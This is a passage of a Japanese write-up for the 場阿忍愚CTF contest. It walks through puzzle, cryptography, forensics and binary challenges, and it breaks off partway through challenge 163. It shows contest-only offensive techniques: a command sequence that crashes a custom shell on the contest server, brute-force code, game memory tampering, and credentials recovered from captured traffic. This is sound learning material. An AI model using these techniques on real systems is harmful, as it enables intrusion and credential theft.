プロジェクト

全般

プロフィール

CTF Writeup 場阿忍愚CTF » 履歴 » バージョン 1

kanata, 2025/04/13 15:01

1 1 kanata
# CTF Writeup 場阿忍愚CTF
2
3
{{toc}}
4
5
# 結果&感想
6
7
5381pt 14位 仙人 でございました。
8
9
すごく楽しかったです!!
10
11
![profile.png](profile.png)
12
13
![ranking.png](ranking.png)
14
15
![graph.png](graph.png)
16
17
# 101 練習 image level 1
18
19
フラグを探して奉り候
20
21
![101-level001a.png](101-level001a.png)
22
23
![101-level001b.png](101-level001b.png)
24
25
![101-level001c.png](101-level001c.png)
26
27
![101-level001d.png](101-level001d.png)
28
29
CTF始めての方は一回四つの画像ファイルをダウンロードして、何かフラグっぽい文字列が分かれば提出してみて下さい。
30
31
---
32
特に説明不要かと。画像を縦に並べれば、答えがわかる。
33
34
35
# 111 芸術 ワットイズディス?
36
37
![111-Art-10.png](111-Art-10.png)
38
39
フラグはニッポンゴでよろしゅう願い奉る。
40
41
ヒント1:セキュリティが大好きな大和魂なら分かります!
42
サンタからのヒント:大和セキュリティ勉強会のステッカーでござる。
43
44
---
45
46
篆書体という印鑑に使われるフォントで書かれている。
47
当然、ほとんど読めない。ただ、小さい"由"が見えたり、二文字目が"和"という事が解ったので、これはもぅ"大和セキュリティ"だろうという。。
48
自分的にはエスパー問題。
49
50
# 112 芸術 cole nanee?
51
52
![112-Art-100.png](112-Art-100.png)
53
54
フラグは漢字一文字で願い申し上げ候。
55
56
----
57
これもエスパー問題でゴワス。。
58
「忍」
59
60
# 113 芸術 Lines and Boxes
61
62
![113-Art-300new3.jpg](113-Art-300new3.jpg)
63
64
think outside the 口
65
66
(フラグの形式を当てるのも問題の一部です)
67
サンタ殿からのヒント:日本人には読みづらい漢字でござる。
68
69
---
70
漢字に見せかけた英字
71
72
WORDPLAY
73
74
# 114 芸術 Why Why want something more?
75
76
![114-Art-150.png](114-Art-150.png)
77
78
You are already there!
79
80
フラグは漢字二文字でござる。
81
82
----
83
84
難関でございました。
85
まず[google画像検索](https://www.google.co.jp/imghp)をする。
86
すると、[sato shozo先生](https://www.flickr.com/photos/asianartmuseum/3824807526)の作で、恐らく[Asian Art Museum](http://www.asianart.org/)の所蔵だと思われる。
87
そういう訳で所蔵品リストを片っ端から調べるも出てこない。。
88
89
そこで!画像検索はgoogleだけじゃない!と思い、調べたら出てきた。
90
http://isearch.babylon.com/?s=images&babsrc=home&sd=1&q=sato+shozo&start=60
91
92
これだ・・・
93
http://image.issuu.com/150818192831-7f8b1d91eb4fea406f13202a76a994bc/jpg/page_56.jpg
94
95
「如是」
96
97
98
99
# 115 芸術 毎日使う
100
101
![115-Art-200.JPG](115-Art-200.JPG)
102
103
GOKUUUUUU
104
105
フラグは漢字一文字でござる。
106
107
----
108
109
個人的には、これもエスパー問題。
110
寝っ転がってたら突然解答が降りてきた。
111
112
「氣」
113
114
そうか、ドラゴンボールか。
115
116
# 117 芸術 Extreme Shodo POWER!!
117
118
![117-Art500ESP1.jpg](117-Art500ESP1.jpg)
119
120
What do you need to get bigger?
121
122
----
123
ギブアップ。3文字は解った。
124
125
* 1文字目 「氣」
126
  文字を切り出して画像検索の果てに[これ](https://www.google.co.jp/search?q=%E6%82%85%E6%B0%8F%E7%9A%84LOGO%E3%80%80%E9%99%BD%E5%85%89&biw=1132&bih=950&source=lnms&sa=X&ved=0ahUKEwjPzoelt67KAhXGOhQKHT2oB4YQ_AUIBigA&dpr=1)に行き着く。「陽光空氣Yes」っていう水の製品の"氣"の字が同じフォント。
127
* 2文字目 わからん「ぐ」?wwww
128
* 3文字目 「呼」 篆書体
129
* 4文字目 「汲」 篆書体
130
* 5文字目 わからん「永」かな?
131
132
篆書体は、もぅ図書館まで行って調べたわ。
133
134
![117_1.jpg](117_1.jpg)
135
136
篆書体は、あたりがついていれば以下で調べられる。
137
http://font.designers-garage.jp/ds/execute/FontSearch?searchType=1&saleType=0&category=09
138
139
140
# 121 二進術 壱萬回
141
142
121-calculation
143
144
---
145
実行すると計算式が表示されて、計算結果の入力を促される。それが一万回繰り返される。
146
147
みんな大好き計算問題は、ネットワーク越しに行うシェルスクリプトを[持ってた](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Writeup_TMCTF2015#Programming-200)ので、それを流用しようと、ncコマンドとか使ってネットワーク越しに動かそうとしたけど、うまく動かなかった。
148
結局expectつかってスクリプト書いた。
149
150
```
151
#!/bin/expect -f
152
153
spawn ./121-calculation
154
155
156
set i 0
157
while {$i <= 100000} {
158
159
puts "\n#### $i ######"
160
161
expect "*="
162
set quest $expect_out(buffer)
163
164
set answer [exec echo $quest | tail -1 | tr -d '=' | tr -d '\r' | bc]
165
send "$answer\n"
166
167
incr i 1
168
}
169
```
170
171
# 122 二進術 DxLib遊戯如何様
172
173
122-files.zip
174
175
---
176
オセロのゲームを勝ち続ければよい。CPUの対戦相手はそんなに強くない。
177
[うさみみハリケーン](http://hp.vector.co.jp/authors/VA028184/#TOOL)先生の出番です。
178
179
うさみみハリケーンを使って、何回か勝負して勝ちながら、、勝利数をカウントしているメモリ領域のアドレスを割り出せる。
180
そこを書き換えて、勝利するとフラグが得られる。
181
182
![122.png](122.png)
183
184
# 123 二進術 Unity遊戯如何様
185
186
123-files.zip
187
188
手がかり:
189
* Assembly-CSharp.dllを探しましょう
190
* .Net逆コンパイラを使いましょう
191
* GUI Manager以下のコードを読みましょう
192
193
---
194
ギブアップ。そもそもUnityのゲームを環境も含めてどうすれば起動できるかわからない。
195
それでも、.Net逆コンパイラのIlspyで、Assembly-CSharp.dllでGUI Manager以下のコードを読むと、
196
FLAG{its_3D_Game_Tutorial}が得られるんだけど、これが正解じゃないらしい。どこに隠されているか、わからなかった。
197
198
# 131 解読術 image level 5
199
200
フラッグを探してください
201
131-mondai.zip
202
203
---
204
複数の画像ファイルが入っているzip。zipを展開したのが以下。
205
206
![131_8f14e45fceea167a5a36dedd4bea2543.png](131_8f14e45fceea167a5a36dedd4bea2543.png)![131_45c48cce2e2d7fbdea1afc51c7c6ad26.png](131_45c48cce2e2d7fbdea1afc51c7c6ad26.png)![131_a87ff679a2f3e71d9181a67b7542122c.png](131_a87ff679a2f3e71d9181a67b7542122c.png)![131_1679091c5a880faf6fb5e6087eb1b2dc.png](131_1679091c5a880faf6fb5e6087eb1b2dc.png)![131_c9f0f895fb98ab9159f51fd0297e236d.png](131_c9f0f895fb98ab9159f51fd0297e236d.png)![131_c4ca4238a0b923820dcc509a6f75849b.png](131_c4ca4238a0b923820dcc509a6f75849b.png)![131_e4da3b7fbbce2345d7772b0674a318d5.png](131_e4da3b7fbbce2345d7772b0674a318d5.png)![131_c81e728d9d4c2f636f067f89cc14862c.png](131_c81e728d9d4c2f636f067f89cc14862c.png)![131_eccbc87e4b5ce2fe28308fd9f2a7baf3.png](131_eccbc87e4b5ce2fe28308fd9f2a7baf3.png)
207
208
時刻順に並べ替えて読むと、以下になる。
209
210
KOUBE-GYU
211
212
>と、自分のメモには書いてあるんだけど、他の人のwriteupを見たら???ってなった。もしかしたらメモが間違っているかも?
213
>このファイル名でググると、元は数値で、それをハッシュ化したものだとわかる。数字順に並び替えれば良い。
214
215
# 132 解読術 Ninjya Crypto
216
217
![132-Ango100-Ninja-Crypto-small.jpg](132-Ango100-Ninja-Crypto-small.jpg)
218
219
敵か仲間か? 証明して!
220
221
サンタ殿からのヒント:忍者なら分かる暗号でござる。
222
223
----
224
以下で解読できる。
225
神代文字とか忍者文字とか言うらしい。google画像検索してるとわかる。
226
227
http://blogimg.goo.ne.jp/user_image/72/c6/4ecb6c42ec2de816667cffc6484c9f9e.jpg
228
http://blogimg.goo.ne.jp/user_image/6c/b1/94e7156f6e5b76e46c3394b6fd4e267f.jpg
229
230
解読結果は、「ヤマトイエハ」という事でFLAGは「川」
231
232
233
# 133 解読術 Decrypt RSA
234
235
133-Decrypt_RSA.zip
236
237
----
238
まず、鍵を調べてみましょ。
239
240
```
241
$ openssl rsa -text -pubin < public-key.pem
242
Public-Key: (640 bit)
243
Modulus:
244
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
245
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
246
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
247
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
248
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
249
    5a:74:d2:d0:06:f1
250
Exponent: 65537 (0x10001)
251
writing RSA key
252
-----BEGIN PUBLIC KEY-----
253
MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV
254
NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV
255
MtwLWnTS0AbxAgMBAAE=
256
-----END PUBLIC KEY-----
257
```
258
259
Modulusと書いてあるところが、素因数の積の所ね。これを素因分解できれば勝ち。
260
鍵長640bitですなぁ。個人のPCでは素因数分解するには計算量的に難しそうという印象。
261
16進数でかつ、コロンで区切ってあるけど、これを10進数に変換するところから始まります。
262
263
シェル芸してみますか。
264
265
```
266
$ openssl rsa -text -pubin < public-key.pem|grep ":"|grep "^ "|tr -d "\n :"|tr [a-z] [A-Z]
267
writing RSA key
268
00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1
269
$ echo "obase=10; ibase=16; 00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1" | bc|tr -d "\n\\"
270
3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609
271
```
272
273
ということで、10進数で、3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609 を素因数分解できればいいんです。
274
275
640bitの鍵長は・・・短時間で素因数分解できるんだろうかと疑いながらも msieve というツールを使って素因数分解を試みた。
276
数時間後・・・「いや、これ無理だろwww」と思って、別のアプローチを取ることにした。
277
278
そもそも、長い鍵長のRSA暗号は、それを解くコンテストが随時開催中であり、640bit鍵長は既に2005年に解かれている。
279
(ちなみに賞金2万ドル!!すげえ)
280
それから10年経過しているにしても、個人PCのCPUパワーで2005年に実施した計算量を出せるのかぁ、と甚だ疑問に思ってはいた。
281
そんなCPU処理能力依存の問題を出題するわけもなし。
282
283
と思って、公開鍵からデコードした十進数の素因数の積をググったら出てきた。
284
285
http://mathworld.wolfram.com/news/2005-11-08/rsa-640/
286
287
コンテストの時のままの数値でしたわけですね。
288
289
ちなみにちなみに、コンテストは引き続いて開催中で、2048bit鍵長のものまでが出題されている。これの賞金は20万ドル・・・!
290
291
# 134 解読術 Zach! Take a nap!
292
293
う た た 寝
294
134-zach_handout.zip
295
296
サンタさんからのヒント:「ザック、疲れとるやないか? Why don't you take a NAP, ZACH!?」
297
298
----
299
ギブアップ。エロい人解説求む。
300
301
# 141 攻撃術 craSH
302
303
 有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
304
もちろん、忍者たちは諜報活動なども行う情報収集の達人であるため、CVE-2014-6271に関する情報も公開されたその日の内に把握していたのである。
305
幸いにも忍者探偵処では、事務処理やホームページに用いているワークステーションには、bashではなく独自のシェルプログラムを用いていたため、件のCVEによる情報漏えい等は起こらなかった。
306
しかし、進んだ危機管理対策の考えを持っている忍者探偵処の社長、初鳥犯象は、もしも自社のシェルプログラムに脆弱性が見つかったならば、それは大変なことになるのではないかと考えた。
307
忍者探偵処の新米忍者であるあなたは社長に指名され、本当に脆弱性は存在しているのかどうか調べなければならないことになった。
308
もちろん、あなたは新米なので、実際に脆弱性を利用してサーバーの内部に侵入したりする必要はない。
309
ただシェルプログラムがクラッシュするような、バグが存在しているということだけを証明するだけでよい。
310
nc 210.146.64.35 31337
311
141-craSH_handout.zip
312
313
サンタ殿からのヒント:実装されている機能はls, cat, echo, exit, 入出力redirect。確保したメモリのサイズとそのメモリに書き込むサイズの不一致がどこかで起こらないか注意深く観察する。Fuzzingも可能でござる。
314
315
----
316
とりあえず、メモリ破壊できればよさそうだろうということで、いろいろ入力してみるも大丈夫そう。
317
う~ん、と思ってソースコードを眺める。
318
319
```
320
struct file {
321
    size_t len;
322
    char *data;
323
};
324
325
struct node {
326
    char *key;
327
    struct file *val;
328
    struct node *next;
329
};
330
```
331
332
* プログラムの中でリダイレクトした時に、ファイルに出力出来る仕様。
333
* ソースコードのこの構造体の部分から、ファイルはリンクリストになっているのが推測できる。
334
335
つまり、Aファイルを作る→Bファイルを作るというオペレーションをすると、
336
337
* Aファイルのメモリ領域確保(ファイル作成)
338
* Bファイルのメモリ領域確保(ファイル作成)
339
* Aファイルの*nextは、bの構造体を指すようにセット
340
341
ざっくり言うとこんな感じでと動いているハズ。lsコマンドとかでファイルを表示するときは、このリンクリストを先頭から辿るという動作をしている。
342
なんだけど、重要なポイントがあって、
343
344
* ファイルの追加には対応しているけど、変更や削除に対応する処理が見当たらない
345
346
という事でございます。なんで、けっこう当てずっぽうなんだけれど、こんなオペレーションで落ちる。
347
348
```
349
$ ./netcat 210.146.64.35 31337
350
$ echo A > A
351
$ echo B > B
352
$ cat A B > C
353
$ ls
354
C B A
355
$ cat A B C > A
356
$ ls
357
C B A
358
$ cat A B C > C
359
$ cat A B C > A
360
$ ls
361
C B A
362
$ cat A B C > C
363
$ ls
364
C B A
365
$ cat A B C > A
366
That's enough!
367
flag={NoMoreBashdoor}
368
```
369
370
371
372
373
# 142 攻撃術 Ninja no Aikotoba
374
375
 鎌倉時代から江戸時代の日本においてスパイの様な位置づけにあった忍者が、味方を見分けるために「『山』に対して『川』と答える」といった合言葉を用いたという逸話は有名である。
376
日々、情報収集や諜報活動を行っていた忍者と、現代のハッカー・クラッカーには情報戦という点で相通ずる面があるように感じられる。
377
そこで、この問題では皆さんには忍者となって敵方忍者の合言葉を割り出し、敵の機密情報を盗み出すミッションに取り組んでもらいたい。
378
nc 210.146.64.35 31338
379
142-aikotoba_handout.zip
380
381
サンタさんからのヒント:
382
383
encryptが読めない人: 色々方法はあるので頑張る。読めたほうが良いですが、そもそも読む必要はあまりないと言えます。
384
385
最後で詰まってる人: 作問者はエスパー問題が嫌いなためエスパー要素は皆無。論理的思考で解けます。 よく分からないまま解けたという人もいるかと思いますが、それも想定した上での300点です。適当に試して見るのも手だと思います。
386
論理的に解きたい人はよく読もう: http://linux.die.net/man/3/
387
後は、与えられたファイルを見なおしてみて、まだ使ってないファイルはありませんか。
388
389
---
390
ギブアップ。最後が解けなかった。
391
392
## 1問目
393
394
```
395
Kawa? :
396
```
397
398
と聞かれるので
399
400
```
401
Yama
402
```
403
404
と応える。勘で答えられるけど、"Yama" のバイナリ値を 0x001a0012 で XOR している。
405
なので、"Kawa" を 0x001a0012 で XOR すれば自ずと答えがわかる。
406
407
## 2問目
408
409
```
410
So then next? :
411
```
412
413
と聞かれる。答えはソースにある。
414
415
```
416
ans[0] = 0164;
417
ans[1] = 111;
418
ans[2] = 0x6f;
419
```
420
421
ま、これ printf してもいいし、16進数に変換し、ASCIIコード表と照らしあわせてもいいし。
422
答えは
423
424
```
425
too
426
```
427
428
## 3問目
429
430
```
431
-9 0 0 18 -10 8 159 194 220 212 204 202? :
432
```
433
434
と聞かれる。ちょっと難しい。0文字目と6文字目が対応した暗号っぽい。
435
と言う事は、だ。0文字目と6文字目が、-9と159になるようなアルファベットの組み合わせを求めればいい。
436
52 × 52 = 2704 なので、ブルートフォースで答えが出せるね。
437
438
その時使った、コードをいちおう貼り付けておく。糞コードでお恥ずかしい限りだが。
439
440
```
441
/*
442
    gcc aikotoba.c -m32 -lcrypto -o aikotoba
443
 */
444
445
#include <stdio.h>
446
#include <stdlib.h>
447
#include <string.h>
448
#include <assert.h>
449
#include <openssl/md4.h>
450
451
encrypt(char *a, int *b){
452
	int c,d,e;
453
	for(c=0;c<6;c++){
454
		b[c]=0,e=c[a];
455
		while(d=e&-e){
456
			c[b]+=d;e-=d;
457
		}
458
	}
459
	for(d=0;d<6;d++){
460
		e=d[a+6];
461
		while(c=e&-e){
462
			b[d+6]=((d[a]&a[d+6])<<1L)+(a[d]^d[a+6]);
463
			d[b]-=c;e-=c;
464
		};
465
	}
466
}
467
468
void kill_enemy(void) {
469
    puts("You aren't my ally!!!");
470
    puts("[*] YOU DIED ");
471
    exit(0);
472
}
473
474
int is_matched(char *a, char *b, size_t n) {
475
    int result;
476
    char save = b[n];
477
478
    b[n] = '\0';
479
    result = strcmp(a, b);
480
    b[n] = save;
481
    if (result == -1 || result == 1) return 0;
482
    return 1;
483
}
484
485
void truncate_newline(char *s) {
486
    char *np = strchr(s, '\n');
487
488
    if (np == NULL) return;
489
490
    *np = '\0';
491
    return;
492
}
493
494
void judge(char **buf, char **ans, size_t len) {
495
    fgets(*buf, len+2, stdin);
496
    truncate_newline(*buf);
497
    if (!is_matched(*buf, *ans, len)) kill_enemy();
498
499
    *buf += len;
500
    *ans += len;
501
}
502
503
void show_flag(void) {
504
    FILE *fp;
505
    char flag[256];
506
507
    fp = fopen("flag.txt", "rb");
508
    if (fp == NULL) {
509
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
510
        exit(-1);
511
    }
512
513
    fread(flag, sizeof(flag), sizeof(char), fp);
514
    fclose(fp);
515
516
    printf("Flag: %s\n", flag);
517
    exit(0);
518
}
519
520
int main(void) {
521
    FILE *fp;
522
    size_t i;
523
    size_t len;
524
    char input[256];
525
    char password[256];
526
    char shout[5];
527
    char *resp;
528
    char *ans;
529
    int result[12];
530
    unsigned char hash[MD4_LBLOCK];
531
532
    setbuf(stdout, NULL);
533
534
    fp = fopen("password.txt", "rb");
535
    if (fp == NULL) {
536
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
537
        exit(-1);
538
    }
539
540
    fseek(fp, 0, SEEK_END);
541
    len = (size_t)ftell(fp);
542
    rewind(fp);
543
    assert(len < sizeof(password)-1);
544
    fread(password, len, sizeof(char), fp);
545
    password[len] = '\0';
546
    fclose(fp);
547
548
    // I'm kindness itself
549
    for (i=0; i<len; i++) {
550
        assert(islower(password[i]) || isupper(password[i]));
551
    }
552
553
    puts("Hi.");
554
    puts("Let me check if you are my ally.\n");
555
556
    *(int*)shout = *(int*)password ^ 0x001a0012;
557
    shout[4] = '\0';
558
    printf("%s? : ", shout);
559
560
    resp = input;
561
    ans = password;
562
    judge(&resp, &ans, 4);
563
    puts("Good.\n");
564
565
    ans[0] = 0164;
566
    ans[1] = 111;
567
    ans[2] = 0x6f;
568
    printf("So then next? : ");
569
    judge(&resp, &ans, 3);
570
    puts("Good.\n");
571
572
    // ----------------------------------
573
    int j,k;
574
    for(k=0;k<1;k++){
575
      ans[0]= 'K';
576
      ans[1]= 'a';
577
      ans[2]= 'n';
578
      ans[3]= 's';
579
      ans[4]= 'a';
580
      ans[5]= 'i';
581
      ans[6]= 'T';
582
      ans[7]= 'a';
583
      ans[8]= 'n';
584
      ans[9]= 'a';
585
      ans[10]= 'k';
586
      ans[11]= 'a';
587
      ans[12]= ' ';
588
      encrypt(ans, result);
589
590
      //printf("%d(%x %c)", result[0],ans[0],ans[0]);
591
      printf("[%d]%d(%c) ",k, result[0],ans[0]);
592
      for (i=1; i<12; i++) {
593
        printf(" %d(%c)", result[i],ans[i]);
594
      }
595
      printf("\n----------------------\n");
596
    }
597
    // ----------------------------------
598
    for(k=41;k<122;k++){
599
      for(j=41;j<122;j++){
600
        ans[0]=k;
601
        ans[6]=j;
602
        encrypt(ans, result);
603
        printf("%d %d %c %c\n",result[0],result[6],ans[0],ans[6]);
604
      }
605
    }
606
    // ----------------------------------
607
608
609
    encrypt(ans, result);
610
    printf("%d", result[0]);
611
    for (i=1; i<12; i++) {
612
        printf(" %d", result[i]);
613
    }
614
    printf("? : ");
615
    judge(&resp, &ans, 12);
616
    puts("Good.\n");
617
618
    MD4(ans, 4, hash);
619
    for (i=0; i<MD4_LBLOCK; i++) {
620
        printf("%02x", hash[i]);
621
    }
622
    printf("? : ");
623
    judge(&resp, &ans, 4);
624
    puts("Good.\n");
625
626
    printf("And the rest? : ");
627
    fgets(resp, input+sizeof(input) - resp, stdin);
628
    truncate_newline(resp);
629
    if (strlen(resp) < 10) kill_enemy(); // no, no. that's too short.
630
    if (!is_matched(input, password, len)) kill_enemy();
631
632
    puts("Well Done!\n");
633
    show_flag();
634
}
635
636
```
637
638
答えは以下でございました。
639
640
```
641
KanasiTanaka
642
```
643
644
## 4問目
645
646
```
647
aa1bf8cae599b19366a8bd4b87ddd327? :
648
```
649
650
と、聞かれる。ソースコードから、MD4のハッシュだと解る。
651
ここらへんで、元の値を調べられる。
652
653
http://md5decrypt.net/Md4/
654
655
「Zach」でした。
656
657
658
## 5問目
659
660
これがわからん・・。
661
662
```
663
And the rest? :
664
```
665
666
ノーヒントのように見える。たぶん、strcmp関数の仕様がちょっと変わっているので、
667
668
```
669
int is_matched(char *a, char *b, size_t n) {
670
    int result;
671
    char save = b[n];
672
673
    b[n] = '\0';
674
    result = strcmp(a, b);
675
    b[n] = save;
676
    if (result == -1 || result == 1) return 0;
677
    return 1;
678
}
679
```
680
681
一致したら、0を返すというのが、通常の仕様な気がするんだけど、-1または1で判定している。
682
おや、と思い、渡された libc.so.6 をobjdmpしてみたんだけど、strcmpの怪しい箇所を見つけられなかった。
683
684
685
# 143 攻撃術 craSH 2
686
687
有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
688
社長から任命された、バグが存在していることを証明する仕事を見事にこなしたあなたは、下忍から中忍に昇格し、実際に脆弱性を利用してサーバーの内部に侵入したりするプロの忍者としての活動が認められたのである。
689
さあ、上忍昇格へのチャンスを逃してはならない。
690
今度は、先のシェルプログラムに実際に侵入することで、社長の評価をより高いものにするのだ。
691
141-craSH_handout.zip
692
693
----
694
ギブアップ。教えてエロい人。
695
696
697
# 151 解析術 Doubtful Files
698
699
時は文禄元年、伊士川御得門が伊賀で忍者修行を始めたばかりの頃。忍者にとって特に重要とされる情報収集能力を磨いていた。ある時、いつものようにインターネットから情報収集していると、何か不自然な点があることに気付いた。御得門が集めたファイルに何があったのだろうか?
700
151-DoubtfulFiles.exe
701
702
サンタ殿からのヒント:Windowsでインターネットからダウンロードしたファイルの特徴は?
703
704
----
705
706
[NTFSの代替データストリーム情報](http://www.atmarkit.co.jp/ait/articles/1407/11/news111.html)に隠されている。
707
708
DOSプロンプトから、以下実行すると、 7.inf と 8.vbs に値が隠されていることがわかる。
709
710
```
711
> more < 7.inf:Zone.Identifier:$DATA
712
[ZoneTransfer]
713
ZoneId=0
714
715
ZmxhZz17QWx0ZXJuYXRlIERhdG
716
717
kanata@FISH C:\Users\kanata\Desktop\場阿忍愚CTF\151\Downloads
718
> more < 8.vbs:Zone.Identifier:$DATA
719
[ZoneTransfer]
720
ZoneId=4
721
722
EgU3RyZWFtIG9uIE5URlMhfQ==
723
```
724
725
お馴染みの Base64形式ですね。今度はLinuxで
726
727
```
728
$ echo ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== |base64 -d
729
flag={Alternate Data Stream on NTFS!}
730
```
731
732
733
# 152 解析術 情報漏洩
734
735
情報収集能力を極めた伊士川御得門は、とある大名から情報管理の仕事を請け負うようになった。大名屋敷の中にある情報管理所において、機密情報の運用を行う重要任務である。もちろん、情報管理所は厳重に管理されており、例えば、入退室時には護衛による審査があるほか、作業端末には情報持ち出し防止の策が施されている。しかし、このような状況のなか、御得門はまんまと大名の機密名簿を持ち出すことに成功したのである。果たしてどのようにやったのだろうか?
736
152-Leaked-Information.pcap
737
738
----
739
WireSharkで見ると、パケットのNo.26-28にpng画像が目grepで判別できる。後は、この3パケットから、ヘッダ部分(0x00-0x26)を覗いてデータを抽出して、くっつければOK!
740
741
![152.png](152.png)
742
743
744
# 153 解析術 Speech by google translate
745
746
153-flag.wav
747
748
----
749
アルファベットとか数字を喋っている内容。なんか、いい感じの所で切れている。
750
wavファイルの再生時間に関係する所をバイナリファイルで修正すればよさそう。
751
752
[ここらへん](http://www.kk.iij4u.or.jp/~kondo/wave/)を参考に修正する。
753
754
左(org.txt)がオリジナル、右(edit.txt)が修正したもの
755
756
```
757
$ xxd 153-flag.wav > org.txt
758
$ xxd "153-flag - コピー.wav" > edit.txt
759
$ sdiff -s org.txt edit.txt
760
0000020: 0400 1000 6461 7461 74a0 1500 0100 fdff  ....datat.. | 0000020: 0400 1000 6461 7461 0007 3500 0100 fdff  ....data..5
761
```
762
763
それで、聞き取った結果
764
765
X5kpBQJUufHdkch923SJ
766
767
# 154 解析術 Cool Gadget
768
769
大名からの情報搾取に成功した伊士川御得門は、いよいよ盗賊となることを決意した。しかし、よくよく考えると、せっかく苦労して搾取した秘宝を別の盗賊に横取りされるとたまったものではない。毎晩不安で眠れない御得門に対して、秘宝を万全に守るための何か良い道具を提案することは可能だろうか?
770
771
サンタ殿からのヒント:怪しい文字を探す。そもそも、これは何の画像?
772
773
----
774
まず、画像を表示すると、こんなの。
775
776
![154-Cool-Gadget.jpg](154-Cool-Gadget.jpg)
777
778
壊れてるくさい。バイナリエディタで見てみよう。高い目Grep力が必要w
779
780
![154_stirling.jpg](154_stirling.jpg)
781
782
removemeとなっておりますなー。これを削除してファイルを表示すると、画像が綺麗に表示されます。
783
784
![154-Cool-Gadget_edit.jpg](154-Cool-Gadget_edit.jpg)
785
786
EAHIVが読み取れますね。
787
788
それで、抜き出した値は、これですが
789
790
```
791
removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}
792
```
793
794
Base64っぽいので、複合する。
795
796
```
797
$ echo U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0|base64 -d >base64.bin
798
$ xxd base64.bin
799
0000000: 5361 6c74 6564 5f5f 4312 52d9 e62a 2c68  Salted__C.R..*,h
800
0000010: 1522 f4ce 7352 4108 7924 4993 391b 7fc5  ."..sRA.y$I.9...
801
0000020: df18 8b9f d8ab c53b 0ef5 389d 1699 e274  .......;..8....t
802
```
803
804
なんか頭に Salted__C とかありますね。これでググっていくと、どうやらAES暗号だという事がわかります。
805
806
きっとキーは・・・ EAHIV ですねw
807
複合します。
808
809
```
810
$ openssl enc -d -aes-128-cbc  < base64.bin >bin
811
enter aes-128-cbc decryption password:
812
$ cat bin
813
flag={Cryptex is cool!}
814
```
815
816
817
# 155 解析術 Encrypted Message
818
819
盗賊業が板につきだんだん大胆になってきた伊士川御得門は、白昼堂々と大名屋敷に立ち入った。奥の作業所では、午前中の作業を終えた計算機係たちが昼休憩に出ており、計算機は開いたまま無人の状態であった。このチャンスを見逃す御得門であるはずもなく、手際よくデータを抜き取り持ち帰った。どんな機密情報が含まれていたのか?
820
155-memdump.zip
821
155-secret
822
823
大寒波でも熱くなるヒント:secret : 暗号化されたボリューム, memdump.mem : OS起動中の全メモリダンプ。最終的にはとある有名なツールのソースコードを入手する必要があります(想定解)。
824
825
----
826
827
ギブアップ。たぶん、メモリのダンプファイルの中から、プロセスが抱える鍵の情報を抜き出し、それで 155-secret を対象に複合化するんだろうなという当たりはつけたものの、解けなかった。
828
829
830
# 161 電網術 ftp is not secure.
831
832
161-problem.pcap
833
834
----
835
WireSharkでみると、FLAG.tarをアップロードしていることが解る。FLAG.tarを抽出して、tarを展開すればokと思いきや、中身のファイル内容はBase64形式なんで、複合する必要がある。
836
837
```
838
$ echo RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg==|base64 -d
839
FLAG{XTInX69nqvFaoEwwNb}
840
```
841
842
# 162 電網術 ベーシック
843
844
 162-basic.pcap
845
846
サンタ殿からのヒント:URLだと思い込んでいませんか?
847
848
----
849
850
Basic認証で、いろいろやってるけど、Base64の値が紛れ込んでいることに注意すれば解ける。
851
852
つまるところ、以下である。
853
854
* アクセス先 http://burning.nsc.gr.jp
855
* id: http
856
* pass: //burning.nsc.gr.jp
857
858
flag={BasicIsNotSecure}
859
860
861
# 163 電網術 六十秒
862
863
大石内蔵助良雄は赤穂浪士四十七士に集結時刻を伝える手段を悩んでいた。
864
集結時刻をそのまま伝文に載せてしまえば、吉良義央にばれてしまう。
865
そこで昼九ツ半の刻を用いた暗号化手法を用いることで攪乱を試みた。
866
指定された時刻に間に合うように集結するために、集結時刻を解読して欲しい。
867
163-60sec.pcap
868
869
サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。
870
871
----
872
サンタさんのヒントが無かったら解けなかった。
873
874
まず、問題文中の「昼九ツ半の刻」であるが、13時の事である。
875
13時・・・13字・・・[ROT13](https://ja.wikipedia.org/wiki/ROT13)か。という訳で、それっぽい所をROT13にかけると以下が得られる。
876
877
* amazon.co.jp
878
* kyotou.ac.jp
879
* rulers
880
881
と、pingに仕込まれたこれ
882
883
```
884
B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
885
```
886
887
Base64っぽいんだけど、複合できなくて詰んでた。
888
889
それで、ヒントが出たもんだから、「京都大学 生協グッズ」とかで調べると「素数ものさし」というものを見つける。
890
なるほど、kyotou.ac.jp と rulers(ものさし) は、このことか。
891
それで、amazonで「素数ものさし」を検索
892
893
